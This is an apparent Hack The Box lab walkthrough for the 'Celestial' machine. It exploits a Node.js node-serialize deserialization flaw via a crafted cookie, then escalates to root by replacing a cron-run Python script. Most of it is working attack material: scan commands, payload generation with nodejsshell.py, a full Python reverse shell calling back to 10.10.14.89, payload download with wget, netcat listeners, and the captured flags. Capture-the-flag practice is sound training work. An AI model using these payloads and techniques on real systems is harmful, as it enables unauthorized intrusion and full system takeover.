A comprehensive penetration testing walkthrough of the Celestial HTB machine demonstrating advanced exploitation techniques including Node.js deserialization attacks and privilege escalation through cron job manipulation.
Celestial is a Linux-based vulnerable machine that showcases the dangers of insecure deserialization in Node.js applications. The exploitation path involves:
export target=10.129.228.94
# Comprehensive port scan
sudo nmap -p- --min-rate 1000 -sT -vvv $target
# Service enumeration on discovered ports
sudo nmap -sC -sV -p 3000 -T4 $target
Scan Results:
Visiting http://10.129.228.94:3000/ reveals a simple web application that processes user information through serialized cookies.
The application uses base64-encoded serialized cookies for session management:
Original Cookie Analysis:
Cookie: eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
# URL decode + Base64 decode reveals:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
Modifying the cookie values directly affects application output, confirming insecure deserialization:
Test Payload:
{"username":"admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"4444"}
Response: βadmin4444β confirms the application deserializes and executes user-controlled data.
The vulnerability aligns with known Node.js deserialization exploits documented in Exploit-DB 41289.
Required Tools:
# Install vulnerable library for payload generation
npm install node-serialize
# Download nodejsshell.py for payload generation
wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py
Step 1: Generate reverse shell payload
python2 nodejsshell.py 10.10.14.89 4444
Step 2: Create exploit script (log.js)
var y = {
rce : function(){
// Generated reverse shell payload from nodejsshell.py
eval(String.fromCharCode(...))
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
Step 3: Execute and modify payload
node log.js
Step 4: Add invocation parentheses - Critical step to ensure function execution during deserialization.
The crafted malicious cookie payload is:
Reverse Shell Listener:
nc -nlvp 4444
Successful exploitation provides a reverse shell as user sun.
User Flag:
cat user.txt
96abe38234f67c3f5f25c8f601abe83e
Cron Job Analysis:
cat /var/log/syslog | grep -i "CRON"
Discovery:
Oct 28 05:00:01 celestial CRON[7365]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
Key findings:
/home/sun/Documents/script.pysun has write permissions to the script directory/root/script.pyStep 1: Create reverse shell payload
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.89",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Step 2: Host payload
python3 -m http.server 80
Step 3: Replace existing script
cd /home/sun/Documents
rm -f script.py
wget 10.10.14.89/s.py
mv s.py script.py
Step 4: Set up listener
nc -nlvp 9001
After cron job execution (within 5 minutes), root shell is obtained.
Privilege Verification:
id
whoami
hostname
Root Flag:
cat /root/root.txt
38ba1e10e076213df5db26d1fc5fe7aa
node-serialize libraryFor Developers:
For System Administrators: